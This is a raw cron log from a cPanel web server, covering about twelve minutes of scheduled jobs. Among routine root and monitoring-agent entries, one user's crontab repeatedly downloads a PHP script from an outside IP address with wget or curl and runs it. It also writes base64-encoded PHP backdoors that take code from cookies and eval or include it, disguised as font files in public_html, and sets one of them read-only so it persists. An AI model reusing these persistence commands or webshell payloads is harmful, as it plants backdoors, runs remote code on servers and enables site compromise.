Sep  1 03:36:01 ip-184-168-122-23 CROND[8774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:36:01 ip-184-168-122-23 CROND[8775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:36:01 ip-184-168-122-23 CROND[8779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:36:01 ip-184-168-122-23 CROND[8778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:36:01 ip-184-168-122-23 CROND[8780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:37:01 ip-184-168-122-23 CROND[8859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:37:01 ip-184-168-122-23 CROND[8860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:37:01 ip-184-168-122-23 CROND[8863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:37:01 ip-184-168-122-23 CROND[8864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:38:01 ip-184-168-122-23 CROND[8964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:38:01 ip-184-168-122-23 CROND[8965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:38:01 ip-184-168-122-23 CROND[8968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:38:01 ip-184-168-122-23 CROND[8970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:38:01 ip-184-168-122-23 CROND[8969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:39:01 ip-184-168-122-23 CROND[9085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:39:01 ip-184-168-122-23 CROND[9087]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 03:39:01 ip-184-168-122-23 CROND[9089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:39:01 ip-184-168-122-23 CROND[9091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:39:01 ip-184-168-122-23 CROND[9092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:40:01 ip-184-168-122-23 anacron[4830]: Job `cron.daily' started
Sep  1 03:40:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[9195]: starting logrotate
Sep  1 03:40:01 ip-184-168-122-23 CROND[9220]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:40:01 ip-184-168-122-23 CROND[9221]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:40:01 ip-184-168-122-23 CROND[9224]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:40:01 ip-184-168-122-23 CROND[9226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:40:01 ip-184-168-122-23 CROND[9228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:40:01 ip-184-168-122-23 CROND[9231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:40:01 ip-184-168-122-23 CROND[9229]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 03:40:01 ip-184-168-122-23 CROND[9227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:40:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[9259]: finished logrotate
Sep  1 03:40:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[9195]: starting man-db.cron
Sep  1 03:40:03 ip-184-168-122-23 run-parts(/etc/cron.daily)[9270]: finished man-db.cron
Sep  1 03:40:03 ip-184-168-122-23 anacron[4830]: Job `cron.daily' terminated
Sep  1 03:40:03 ip-184-168-122-23 anacron[4830]: Normal exit (1 job run)
Sep  1 03:41:01 ip-184-168-122-23 CROND[9355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:41:01 ip-184-168-122-23 CROND[9357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:41:01 ip-184-168-122-23 CROND[9356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:41:01 ip-184-168-122-23 CROND[9358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:42:01 ip-184-168-122-23 CROND[9475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:42:01 ip-184-168-122-23 CROND[9478]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:42:01 ip-184-168-122-23 CROND[9480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:42:01 ip-184-168-122-23 CROND[9481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:42:01 ip-184-168-122-23 CROND[9482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:43:01 ip-184-168-122-23 CROND[9657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:43:01 ip-184-168-122-23 CROND[9658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:43:01 ip-184-168-122-23 CROND[9659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:43:01 ip-184-168-122-23 CROND[9660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:44:01 ip-184-168-122-23 CROND[9781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:44:01 ip-184-168-122-23 CROND[9783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:44:01 ip-184-168-122-23 CROND[9786]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:44:01 ip-184-168-122-23 CROND[9785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:44:01 ip-184-168-122-23 CROND[9784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:45:01 ip-184-168-122-23 CROND[9899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:45:01 ip-184-168-122-23 CROND[9901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:45:01 ip-184-168-122-23 CROND[9903]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:45:01 ip-184-168-122-23 CROND[9904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:45:01 ip-184-168-122-23 CROND[9902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:45:01 ip-184-168-122-23 CROND[9905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:46:02 ip-184-168-122-23 CROND[10030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:46:02 ip-184-168-122-23 CROND[10032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:46:02 ip-184-168-122-23 CROND[10035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:46:02 ip-184-168-122-23 CROND[10033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:46:02 ip-184-168-122-23 CROND[10036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:46:02 ip-184-168-122-23 CROND[10034]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 03:46:02 ip-184-168-122-23 CROND[10037]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 03:47:01 ip-184-168-122-23 CROND[10145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:47:01 ip-184-168-122-23 CROND[10148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:47:01 ip-184-168-122-23 CROND[10149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:47:01 ip-184-168-122-23 CROND[10150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:48:01 ip-184-168-122-23 CROND[10309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
